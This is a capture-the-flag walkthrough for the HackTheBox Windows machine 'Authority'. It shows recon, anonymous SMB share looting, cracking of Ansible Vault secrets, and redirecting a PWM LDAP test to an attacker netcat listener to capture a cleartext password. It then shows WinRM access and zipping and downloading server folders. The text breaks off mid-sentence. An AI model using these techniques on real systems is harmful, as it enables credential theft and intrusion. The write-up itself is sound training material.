Authority

INTRODUCTION

Authority was released as the fifth box of HTB’s Hackers Clash: Open Beta Season II. Is a “Medium” Windows box, but will serve as a formidable challenge to any players unfamiliar with Windows. Authority features a typical Microsoft environment, including Microsoft IIS server, LDAP, Kerberos, and SMB. No SSH here! You’ll have to rely on more rudimentary remote-connection methods. This box will test your filesystem enumeration skills, but not as much as your PKI knowledge. Get ready to think like a sysadmin.

title picture

RECON

nmap scans

For this box, I’m running the same enumeration strategy as the previous boxes in the Open Beta Season II. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to my target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 5000 -oN nmap/port-scan.txt $RADDR
Nmap scan report for 10.10.11.222
Host is up (0.19s latency).
Not shown: 65410 filtered tcp ports (no-response), 120 closed tcp ports (conn-refused)
PORT    STATE SERVICE
53/tcp  open  domain
80/tcp  open  http
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

It’s quite interesting that there is no SSH exposed on this box. I followed up with a more detailed script scan on these ports:

nmap -sV -sC -n -Pn -p22,80 -oN nmap/extra-scan.txt $RADDR
Nmap scan report for 10.10.11.222
Host is up (0.18s latency).

PORT    STATE SERVICE       VERSION
53/tcp  open  domain        Simple DNS Plus
80/tcp  open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-07-16T18:27:16
|_  start_date: N/A
|_clock-skew: 3h59m58s

And finally, I did a slower port and script scan just to be sure I got everything (excuse the length):

sudo nmap -sV -sC -n -Pn --top-ports 4000 -oN nmap/top-4000-ports.txt $RADDR
Nmap scan report for 10.10.11.222
Host is up (0.17s latency).
Not shown: 3986 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-07-20 00:08:33Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
|_ssl-date: 2023-07-20T00:09:27+00:00; +3h59m55s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
|_ssl-date: 2023-07-20T00:09:25+00:00; +3h59m55s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
|_ssl-date: 2023-07-20T00:09:27+00:00; +3h59m55s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-07-20T00:09:25+00:00; +3h59m55s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8443/tcp open  ssl/https-alt
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=172.16.2.118
| Not valid before: 2023-07-17T07:38:42
|_Not valid after:  2025-07-18T19:17:06
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 200 
|     Content-Type: text/html;charset=ISO-8859-1
|     Content-Length: 82
|     Date: Thu, 20 Jul 2023 00:08:41 GMT
|     Connection: close
|     <html><head><meta http-equiv="refresh" content="0;URL='/pwm'"/></head></html>
|   GetRequest: 
|     HTTP/1.1 200 
|     Content-Type: text/html;charset=ISO-8859-1
|     Content-Length: 82
|     Date: Thu, 20 Jul 2023 00:08:39 GMT
|     Connection: close
|     <html><head><meta http-equiv="refresh" content="0;URL='/pwm'"/></head></html>
|   HTTPOptions: 
|     HTTP/1.1 200 
|     Allow: GET, HEAD, POST, OPTIONS
|     Content-Length: 0
|     Date: Thu, 20 Jul 2023 00:08:39 GMT
|     Connection: close
|   RTSPRequest: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 1936
|     Date: Thu, 20 Jul 2023 00:08:47 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400

Huh? There were so many more TCP discovered using the slow scan. Perhaps some kind of rate-limiting?. This scan shows several notable things:

  • Kerberos looks like it’s on two ports: 88 and 464
  • LDAP and LDAPS are on two ports each
  • the domain of the target: authority.htb.
  • Port 5985 was probably misidentified: it’s more likely WinRM (for remote connection!)
  • Nonstandard webserver on 8443 (this port is often for Apache Tomcat using SSL)

Webserver Strategy

Did banner-grabbing. Nothing new here, this was all reported by nmap already:

whatweb $RADDR && curl -IL http://$RADDR

whatweb

Added intentions.htb to /etc/hosts and proceeded with vhost enumeration, subdomain enumeration, and directory enumeration.

echo "$RADDR authority.htb" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

I performed vhost and subdomain enumeration:

WLIST="/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost.md -of md -timeout 4 -ic -ac
DOMAIN=authority.htb
ffuf -w $WLIST -u http://FUZZ.$DOMAIN/ -c -t 60 -o fuzzing/subdomain.md -of md -timeout 4 -ic -ac

There were no results from vhost or subdomain enumeration, so I proceeded with directory enumeration on http://authority.htb:

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt"
feroxbuster -w $WLIST -u http://$DOMAIN -A -d 2 -t 100 -T 4 -f --auto-tune --collect-words --filter-status 400,401,402,404,405 --output fuzzing/directory.json -E

Directory enumeration gave the following:

feroxbuster

🤔 I’m starting to think this webserver is completely default/unconfigured.

Exploring the Website

Taking a look at the website confirms my suspicion. Seemingly, nothing to see here:

index page

Kerberos (TCP port 88)

I’ll run through the Kerberos pentesting checklist on Hacktricks to see if there is any easy information to be gathered. First, we’ll try enumerating for usernames:

USERNAMES=/usr/share/seclists/Usernames/Names/names.txt
nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm="authority.htb",userdb=$USERNAMES $RADDR

Unfortunately, the nmap script did not find any valid usernames. If you don’t have any usernames, there isn’t really anything you can do with Kerberos.

MS RPC (TCP port 135)

impacket-rpcdump $RADDR

Lots of results. Mostly listings of .dll files.

SMB (TCP port 139 & 445)

nmap --script "safe or smb-enum-*" -p 445 $RADDR

No result.

nmblookup -A $RADDR

No result.

nbtscan $RADDR/30

No result.

sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n $RADDR
Nmap scan report for 10.10.11.222
Host is up.

PORT    STATE         SERVICE    VERSION
137/udp open|filtered netbios-ns
enum4linux $RADDR

enum4linux

rpcclient -U "" -N $RADDR

This logs into RPC with empty credentials. Seems to work.

Next let’s check for SMB shares:

smbclient -L $RADDR

I provided an empty password. The following shares are present:

Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
Department Shares Disk      
Development     Disk      
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share 
SYSVOL          Disk      Logon server share 

I tried connecting to ADMIN and to C: no luck. However I did get into Department Shares:

smbclient 1

Sadly, attempting to list the contents just yields an error: NT_STATUS_ACCESS_DENIED listing. The Development share has some accessible contents though:

smbclient 2

Ansible is a suite of tools that are used for automating a bunch of IT tasks. In my experience, it’s used for things like server administration, rotating the logs, performing updates, etc.

At first glance, this looks like it might have some important files inside. To make exploring the share a little more comfortable, I opened it in my file explorer by entering the address smb://10.10.11.222/Development and providing an anonymous login at the prompt.

Development share

Automaton/Ansible/PWM/Readme.md shows some default credentials:

PWM default credentials

Automaton/Ansible/PWM/ansible_inventory shows the Ansible credentials and connection details:

ansible_user: administrator
ansible_password: Welcome1
ansible_port: 5985
ansible_connection: winrm
ansible_winrm_transport: ntlm
ansible_winrm_server_cert_validation: ignore

And Automaton/Ansible/PWM/ansible.cfg shows the following:

...
hostfile = ansible_inventory
remote_user = svc_pwm
...

Automaton/Ansible/PWM/defaults/main.yml has something that looks like hashes:

---
pwm_run_dir: "{{ lookup('env', 'PWD') }}"

pwm_hostname: authority.htb.corp
pwm_http_port: "{{ http_port }}"
pwm_https_port: "{{ https_port }}"
pwm_https_enable: true

pwm_require_ssl: false

pwm_admin_login: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          32666534386435366537653136663731633138616264323230383566333966346662313161326239
          6134353663663462373265633832356663356239383039640a346431373431666433343434366139
          35653634376333666234613466396534343030656165396464323564373334616262613439343033
          6334326263326364380a653034313733326639323433626130343834663538326439636232306531
          3438

pwm_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          31356338343963323063373435363261323563393235633365356134616261666433393263373736
          3335616263326464633832376261306131303337653964350a363663623132353136346631396662
          38656432323830393339336231373637303535613636646561653637386634613862316638353530
          3930356637306461350a316466663037303037653761323565343338653934646533663365363035
          6531

ldap_uri: ldap://127.0.0.1/
ldap_base_dn: "DC=authority,DC=htb"
ldap_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          63303831303534303266356462373731393561313363313038376166336536666232626461653630
          3437333035366235613437373733316635313530326639330a643034623530623439616136363563
          34646237336164356438383034623462323531316333623135383134656263663266653938333334
          3238343230333633350a646664396565633037333431626163306531336336326665316430613566
          3764

I didn’t know what I had just found, so I searched up what this information was - based on the format of the data. Turns out it is information for interacting with Ansible Vault: a way to securely store secrets within config files (located alongside the config files themselves).

Ansible/SHARE/tasks/main.yml shows how we could get all usernames from the box, if we’re able to access the directory:

    - name: Make subdirectories under Share
      ansible.windows.win_file:
        path: "{{item}}"
        state: directory
      loop:
        - C:\Share\Internal 
        - C:\Share\Internal\IT\Public
        - C:\Share\Internal\IT\Private
        - C:\Share\Internal\HR\Public
        - C:\Share\Internal\HR\Private
        - C:\Share\Internal\R&D\Public
        - C:\Share\Internal\R&D\Private
        - C:\Share\Internal\Marketing\Public
        - C:\Share\Internal\Marketing\Private
        - C:\Share\Internal\Finance\Public
        - C:\Share\Internal\Finance\Private
        - C:\Share\Internal\Executives\Public
        - C:\Share\Internal\Executives\Private
        - C:\Share\Internal\Accounting\Public
        - C:\Share\Internal\Accounting\Private
        
    - name: Make user folders for all users
      ansible.windows.win_powershell:
        script: |
          $path = "C:\Share\"
          $users = (Get-ADUser -Filter * ).Name
          foreach ($user in $users) {
            New-Item -ItemType Directory -Force -Path $path\$user}
          
    - name: Create User Share
      win_share:
          name: '{{item.share_name}}'
          description: '{{item.share_description}}'
          path: '{{item.path}}'
          list: '{{item.list}}'                  
          full: '{{item.full}}'     
          read: '{{item.read}}'
      with_items:
        - {path: 'C:\Share', share_name: 'User Share', share_description: 'Share for Users', full: 'Administrators, Domain Users', read: 'Domain Users', list: no }

    - name: Enable inherited ACL
      ansible.windows.win_acl_inheritance:
        path: C:\Share
        state: present

    - name: ACL 
      ansible.windows.win_acl:
        path: C:\Share
        user: Administrator, Domain Users
        rights: Full Control
        type: 'Allow'
        inherit:  None
        propagation: 'None'

Ansible/PWM/templates/tomcat-users.xml.j2 contains what appears to be the Tomcat credentials (for the server on 8443):

<tomcat-users xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" version="1.0">
<user username="admin" password="T0mc@tAdm1n" roles="manager-gui"/>
<user username="robot" password="T0mc@tR00t" roles="manager-script"/>
</tomcat-users>

In summary, it looked like the SMB share revealed four credentials:

  • root : password (PWM default credential)
  • administrator : Welcome1 (Ansible credential)
  • admin : T0mc@tAdm1n (probably for Tomcat)
  • robot : T0mc@tR00t (Also Tomcat)

Also I found the domain: authority.htb , and three pieces of encrypted Ansible Vault data (pwm_admin_login, pwm_admin_password, and ldap_admin_password). We also found a hostname for PWM: authority.htb.corp

LDAP (TCP 389) and LDAPS (636)

Tried checking for info from LDAP using anonymous credentials:

nmap -n -sV --script "ldap* and not brute" $RADDR

The result of this script was almost too much information to read through… Some of the highlights were:

  • Found a DNS hostname, and other DNS zones:

    authority.authority.htb
    ...
    namingContexts: DC=authority,DC=htb
    namingContexts: CN=Configuration,DC=authority,DC=htb
    namingContexts: CN=Schema,CN=Configuration,DC=authority,DC=htb
    namingContexts: DC=DomainDnsZones,DC=authority,DC=htb
    namingContexts: DC=ForestDnsZones,DC=authority,DC=htb
    
  • Discovered other ports:

    3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
    3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
    

Continuing with the enumeration procedure described in Hacktricks, I tried checking the publicly available info using LDAP:

ldapsearch -x -H ldap://authority.htb -s base namingContexts

This yielded pretty much the same info as the nmap script.

Tomcat SSL (TCP port 8443)

When navigating to the address https://authority.htb:8443 I am immediately redirected to https://authority.htb:8443/pwm/private/login, which displays the following dialog box:

pwm configuration mode notice

That’s interesting. Maybe the way in is by reconfiguring LDAP, then? Below this dialog box is a login page:

pwm login

I tried the four credentials I had on hand: no luck there. Clicking either of the buttons on the bottom brings me to https://authority.htb:8443/pwm/private/config/login:

pwm configuration manager

I see: so I just need this one PWM configuration password, then I can reconfigure LDAP. Using the passwords from the four credentials I had already found, I tried logging in to the Configuration Manager: also no luck.

Tomcat on port 8443 was the final service that my nmap scans found. I could try taking a deeper look at Kerberos and MS RPC, but without any ideas on how to proceed with that, I figured it’s better to investigate the data I’ve already found.

FOOTHOLD

Ansible Vault Data

Having exhausted all of the obvious options, I think I’ll have a try at cracking the Ansible Vault data. I wasn’t sure if there was some kind of Ansible Vault tool for John, so I searched my own system:

find / -name "*2john" 2>/dev/null | grep -i ansible
/usr/bin/ansible2john
Usage: /usr/bin/ansible2john [Ansible Vault .yml file(s)]

Oh, excellent! I’ve never used this, so I’ll give it a try. Thankfully, it looks like it’ll parse the yml file directly 😅

I tried making a copy of the file where I found the Ansible Vault data (I had taken a local copy of the Development share from SMB) and running ansible2john on it:

cp ../SMB/Ansible/PWM/defaults/main.yml .
ansible2john main.yml
File doesn't start with b'$ANSIBLE_VAULT'

Hmm, it doesn’t like the format. Taking a look at the source code for ansible2john shows that I’m probably using the right data, but it expects to only have the encrypted vault data inside the yml file… To accomodate this, I split the contents of main.yml into three files pwm_admin_login.yml, pwm_admin_password.yml, and ldap_admin_password.yml, then manually trimmed out the whitespace.

For the reader’s convenience, here’s the details (formatting and all):

for f in *.yml; do 
	echo "Processing $f"; 
	cat $f; ansible2john $f > $f.john; 
	cat $f.john; echo "--------"; 
done

making john hashes

Then I merged the hashes into one file and started up john:

cat *.john >> merged.john
john --format=ansible --wordlist=$WLIST merged.john

cracked ansible vault data

😆 Alright, so the three secrets are all the same eight special characters: !@#$%^&*

I tried logging in once again to the Configuration Manager, using the cracked password:

config manager attempted login

😱 Still nothing?! How disappointing - I thought that would be it for sure. Trying the credentials !@#$%^& : !@#$%^&** on the other login page was also unsuccessful (same LDAP-not-configured message).

Then it occurred to me: john usually finds passwords based on hashes. The point of Ansible Vault is to encrypt messages - not passwords specifically. So maybe thing that john found is actually just a password to main.yml or something? Taking a quick look through the official Ansible Documentation showed that perhaps I should be running ansible-vault to interact with the file, and that ansible-vault view will open, decrypt, then show the file in the pager:

sudo apt install ansible-core
[installed, then had to reboot]
cracked ansible vault contents

For copy-pasting, those credentials are:

  • svc_pwm : pWm_@dm!N_!23
  • DevT3st@123

😁 Alright! There we go. Hopefully these credentials will be useful (I’m quite hopeful, as I already saw a successful login to Configuration Manager using the svc_pwm credential shown in the “Previous Authentications” table. ) First, I’ll try using the password for svc_pwm, pWm_@dm!N_!23:

config manager successful login

Success! 🍰

This configuration manager has a LOT of settings inside. There are filters at the bottom to thin it out a bit. I selected Basic / All Settings. This makes LDAP > LDAP Directories > default > Connection stand out; it contains some very useful-looking details:

LDAP connection details

The address ldaps://authority.authority.htb:636 could be useful, and the account svc_ldap might go with the password obtained from the Ansible Vault (DevT3st@123). Now that there’s a new credential to try, it might be useful to try probing LDAP for a bit more information.

LDAP and LDAPS (Again)

We now have confirmation that LDAP and LDAPS are running on TCP ports 389 and 636 respectively. Now that I suspect I have a valid credential, there’s a good chance that some new information can be gained from LDAP. First, I’ll try a refinement of the query I issued earlier:

ldapsearch -x -H ldaps://authority.authority.htb:636 -s base namingContexts
ldapsearch -x -H ldaps://$RADDR:636 -s base namingContexts
ldapsearch -x -H ldaps://$RADDR -s base namingContexts

ldapsearch -x -H ldaps://authority.authority.htb:636 -D 'authority.htb\svc_ldap' -w 'DevT3st@123' -b "DC=authority,DC=htb"

All these attempts to use LDAPS led to the same error message:

ldap_sasl_bind(SIMPLE): Can't contact LDAP server (-1)

I’ll try LDAP (not LDAPS) again, but this time with some credentials:

ldapsearch -x -H ldap://$RADDR -D 'authority.htb\svc_ldap' -w 'DevT3st@123' -b "DC=authority,DC=htb"
for DOMAIN in CORP Users "Service Accounts" "authority.htb"; do 
	ldapsearch -x -H ldap://$RADDR -D '$DOMAIN\svc_ldap' -w 'DevT3st@123' -b "DC=authority,DC=htb";
done

All attempts gave an error indicating an invalid credential:

ldap_bind: Invalid credentials (49)
additional info: 80090308: LdapErr: DSID-0C090439, comment: AcceptSecurityContext error, data 52e, v4563

Next I tried using ldapdomaindump:

for DOMAIN in CORP Users "Service Accounts" "authority.htb"; do 
	ldapdomaindump ldaps://authority.authority.htb:636 -u "$DOMAIN\svc_ldap" -p "DevT3st@123" --authtype SIMPLE; 
done

Same result, but ldapdomaindump was a little more descriptive in the error:

failed ldapdomaindump

🤔 This message makes it look like it’s failing because I have no SASL (Kerberos, in this case) credentials. Could that be it?

I’ll take a backtrack and see if I missed anything in the Configuration Management panel.

Configuration Management Panel (Again)

Right away I realized I missed something quite major. After looking around the configuration editor, I didn’t ever see the option to “restrict the configuration” like the dialog box was mentioning (the dialog that appeared after first navigating to https://authority.htb:8443). From the Configuration Editor panel, you can simply click the Cancel button in the top right to be brought to the Configuration Manager panel 🤦‍♂️

configuration manager panel

The Configuration Manager panel (A) has a “Restrict Configuration” button and (B) confirms all of the LDAP behaviour I was just experiencing: Even the management panel cannot connect to LDAP - by either LDAP or LDAPS!

From here, I used the Download Configuration button to grab a copy of PwmConfiguration.xml. When downloading, there was a warning that it might contain sensitive information or credentials 😏 That’s a good sign.

Examining the xml file, near the top are a couple of interesting values:

<property key="configPasswordHash">
	$2a$10$gC/eoR5DVUShlZV4huYlg.L2NtHHmwHIxF3Nfid7FfQLoh17Nbnua
</property>

...

<label>
LDAP ⇨ LDAP Directories ⇨ default ⇨ Connection ⇨ LDAP Proxy Password
</label>
<value>
ENC-PW:xwEktqlZrHdR3HtJrQgUFnOpf0zYuHi/YbLM5IKBIUMBAagMlT89v//9Le2VOxjvTYfsZfkLaNHbjGfbQldz5EW7BqPxGqzMz+bEfyPIvA8=
</value>

And much further down…

pwm security key in xml

Now, the trouble is that the LDAP Proxy password hash is in a format that I’ve never seen before. I wonder if there’s a way I can get the application to spit it out in cleartext?

I found something interesting in the Configuration Editor panel, by clicking Macro Help near the top. It looks like there’s a way to introduce the password directly into a log file (highlighted):

config editor macro help

So if I can add this to the format of some kind of readable log file, and trigger a test login, I might be able to leak a password. I disabled the setting Settings > User Interface > UI Features > Password Masking just in case that had an effect. Unfortunately, I couldn’t find a place to enter that @User:Password@ macro into a log output.

Regardless, I had another idea: There is a conspicuous button at the top of the LDAP > LDAP Directories > default > Connection screen labelled as Test LDAP Profile. Why not just configure the LDAP server to my own machine, and bounce the “Test” LDAP negotiation off of myself? It’d be a bit like an XSS to leak a credential!

Choosing to use LDAP instead of LDAPS so that the credential is transmitted unencrypted, I added ldap://10.10.14.2:389 to the top of the LDAP URLs section, to pretend my attacker machine is an LDAP server.

Test config button

The form to assign a new LDAP URL did not accept any protocol other than LDAP(S). It’s possible this was just client-side validation and could have been circumvented using a tailored POST request, but frankly it was much easier to just use something like netcat to establish a listener than to worry about the correct protocol.

Last I checked, nc doesn’t give a crap what protocol it is contacted over 🙃 so I set up a listener using nc, first opening up the LDAP port with UFW:

sudo ufw allow from $RADDR to any port 389,636 proto tcp
sudo nc -lvnp 389

Then, from the Configuration Editor, I clicked Test LDAP Profile.

connection over nc

It worked! 😹 Fantastic! We now have a new credential. Just to review, these are the credentials found so far:

  • svc_pwm : pWm_@dm!N_!23
  • DevT3st@123
  • svc_ldap : lDaP_1n_th3_cle4r!

For copy-paste sake, the whole string is: CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb�lDaP_1n_th3_cle4r!

Note: I’m assuming that the “0P” on the end is encoding garbage, just like the “0Y`T” at the beginning. That’s the downside of using netcat, I suppose 😅

Aside from the credential, I now know the whole LDAP construct to identify svc_ldap, which is helpful (I was doing a bit of guessing in my earlier attempts).

LDAP and LDAPS (Yes, again…)

OK, I’ll try running ldapdomaindump again, using the new credentials this time.

ldapdomaindump ldaps://authority.authority.htb:636 -u "authority.htb\svc_ldap" -p 'lDaP_1n_th3_cle4r!' --authtype SIMPLE
[*] Connecting to host...
[*] Binding to host
[!] Could not bind with specified credentials
[!] {'result': 49, 'description': 'invalidCredentials', 'dn': '', 'message': '80090308: LdapErr: DSID-0C090439, comment: AcceptSecurityContext error, data 52e, v4563\x00', 'referrals': None, 'saslCreds': None, 'type': 'bindResponse'}

Hmm… Invalid credentials? I’ll try regular LDAP instead of LDAPS:

ldapdomaindump ldap://$RADDR -u "authority.htb\svc_ldap" -p 'lDaP_1n_th3_cle4r!' --authtype SIMPLE 

Same result 😞 Maybe without the --authtype SIMPLE flag?

ldapdomaindump ldap://$RADDR -u "authority.htb\svc_ldap" -p 'lDaP_1n_th3_cle4r!'

​ Well, an error… but at least it’s a new error.

ldapdomaindump attempt 1

Seems like perhaps it requires LDAPS? Let’s try it all again *sigh*…

ldapdomaindump ldaps://authority.authority.htb:636 -u "authority.htb\svc_ldap" -p 'lDaP_1n_th3_cle4r!'

ldapdomaindump attempt 2

WOW, FINALLY. I don’t mean to sound ungrateful, but what an annoying, finicky program! 🙄

This dumped a lot of files:

dump files

For example, domain_users.html is interesting:

Domain users

Most notably, svc_ldap is a member of the group Remote Management Users! Sounds like an invitation 👍

USER FLAG

WinRM (TCP port 5985)

Unfamiliar with Windows, the first thing I tried was running the closest thing I could to WinRM itself, which on my machine was a ruby implementation called rwinrm. Long story short: after installing dependencies and getting it set up, the shell simply did not work. I got no output.

Moving on, I switched to evil-winrm, where I’m having some initial success. It seems like a lot of operations are unauthorized, and I don’t have tab completion, but at least I can issue some basic commands and move around between directories etc.

evil-winrm  -i $RADDR -u svc_ldap -p 'lDaP_1n_th3_cle4r!' 

The user flag is on the Desktop of svc_ldap; go read it for the points:

cd ..\Desktop
type user.txt

ROOT FLAG

Oh Gawd What Is Windows

Now that I’m in the box as svc_ldap, I’ll take a look around and do some basic enumeration of the user and the box. BUT it seems like this users has very low privileges… Either that, or there’s something wrong with my shell?

As previously mentioned, I am very unexperienced with Windows. With every little hiccup I encounter, I am calling into question many of my assumptions and abilities. Especially now that I have local access, I’m realizing I have really no idea what I’m doing and not much of a plan.

🐢 Oh well, I guess you have to start somewhere - but I regret not practicing more on some Easy boxes first!

I’ll start by checking the operating system (which from LDAP I already know is Windows Server 2019):

local enum fail 1

Nope. Access denied. What about the hostname and user info? Running hostname and whoami /user respectively:

authority
User Name    SID
============ =============================================
htb\svc_ldap S-1-5-21-622327497-3269355298-2248959698-1601

(Again, I already had that from LDAP, but I’m trying to practice normal local enumeration procedure.) What other users are present? Checking net users:

User accounts for \\
-------------------------------------------------------------------------------
Administrator            Guest                    krbtgt
svc_ldap

For each of these users, I checked their details:

net user <username>

(Again, this info was already present from the LDAP dump, so I won’t bother showing it here.)

netstat -ano | findstr LISTENING
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:88             0.0.0.0:0              LISTENING       616
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       896
  TCP    0.0.0.0:389            0.0.0.0:0              LISTENING       616
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:464            0.0.0.0:0              LISTENING       616
  TCP    0.0.0.0:593            0.0.0.0:0              LISTENING       896
  TCP    0.0.0.0:636            0.0.0.0:0              LISTENING       616
  TCP    0.0.0.0:3268           0.0.0.0:0              LISTENING       616
  TCP    0.0.0.0:3269           0.0.0.0:0              LISTENING       616
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:8443           0.0.0.0:0              LISTENING       3932
  TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING       2960
...
  TCP    10.10.11.222:53        0.0.0.0:0              LISTENING       2220
  TCP    10.10.11.222:139       0.0.0.0:0              LISTENING       4
  TCP    127.0.0.1:53           0.0.0.0:0              LISTENING       2220
...
  TCP    [::1]:53               [::]:0                 LISTENING       2220
  TCP    [dead:beef::21e]:53    [::]:0                 LISTENING       2220
  TCP    [dead:beef::f6ce:f03f:ed24:d8f6]:53  [::]:0   LISTENING       2220
  TCP    [fe80::9879:1a7:140d:4eda%8]:53  [::]:0       LISTENING       2220

I also checked the scheduled processes on the box:

schtasks /query /fo LIST /v

There were a ton of them. Not knowing what I’m looking for, I disregarded it for now.

I searched for the string “password” in all accessible files:

findstr /si password *.txt *.ini *.config

No significant result: The output was mostly Cortana stuff, and then one giant block of text from some log file about checking the device cache.

Odd Folders in C:\

Next, I’ll take a look around the filesystem, to see if anything seems out of place. The home directory looks normal, butC:\ has some nonstandard items:

local enum 1

I’ve already seen inside Development, from the SMB share. But over SMB I did not have access to Department Shares. There are also three other interesting folders: Certs, inetpub, and pwm.

Just to see if I could, I checked if I could connect to Department Shares using SMB now that I have a valid credential, and yep it works fine:

smb department shares

For all these directories, I figured it would be easiest just to dump the contents instead of manually inspecting it using the evil-winrm shell. So I zipped each directory and transferred downloaded the files to my attacker box:

Compress-Archive -LiteralPath "C:\Certs" -DestinationPath C:\Users\svc_ldap\Certs.zip
Compress-Archive -LiteralPath "C:\Department Shares" -DestinationPath C:\Users\svc_ldap\DeptShares.zip
Compress-Archive -LiteralPath "C:\inetpub" -DestinationPath C:\Users\svc_ldap\inetpub.zip
Compress-Archive -LiteralPath "C:\pwm" -DestinationPath C:\Users\svc_ldap\pwm.zip
cd C:\Users\svc_ldap
download Certs.zip
download DeptShares.zip

I got Access Denied errors while trying to compress inetpub and pwm, so there was nothing to download.

Looking through the files on my attacker box, it seems that Department Shares is empty? I found that strange, so I confirmed by connecting using Thunar:

smb share using thunar

Note: Thunar didn’t want to connect to Department Shares directly. I had to connect to smb://10.10.11.222 first, then navigate to Department Shares and authenticate again. Not sure why.

Yep, confirmed. It’s actually empty.

The Certs folder however is not empty. It contains one, password-protected / encrypted certificate file: LDAPs.pfx. I tried the three passwords gathered so far - none worked. Then I checked to see if there was an appropriate way to generate a hash from this:

find /usr/bin -name "*2john" 2>/dev/null | sort

It turns out that there is: pfx2john; I’ll give that a try. While that’s running, I’ll check out those other two directories that I couldn’t zip: C:\inetpub and C:\pwm.

Edit: after a few minutes, john finished. No password was found.

I couldn’t see much of inetpub. For most subfolders, I received Access Denied. An exception was inetpub\wwwroot which showed (as expected) that this is the folder containing the unconfigured / default IIS webserver that we originally checked out, the webserver on port 80.

The pwm folder is mostly accessible. Attempting to copy the subfolder LocalDB resulted in an error. Taking a look inside, it seems it contains a xodus database. I had never heard of that type of database, but the source code is available at this repo if you want to take a look.

pwm folder

I copied all accessible contents from pwm into one directory and zipped it, to transfer to my attacker machine where I could inspect it more comfortably. I already had a copy of PwmConfiguration.xml so I didn’t bother with that one.

cd C:\pwm
Copy-Item backup C:\Users\svc_ldap\pwm\backup -recurse
Copy-Item logs C:\Users\svc_ldap\pwm\logs -recurse
Copy-Item temp C:\Users\svc_ldap\pwm\temp -recurse
cd C:\Users\svc_ldap
Compress-Archive -LiteralPath pwm -DestinationPath pwm.zip
download pwm.zip

Examining the logs reveals that a certificate (perhaps it’s C:\Certs\LDAPs.pfx?) is shown in plaintext, first appearing at line 1238, but also repeated several times after that:

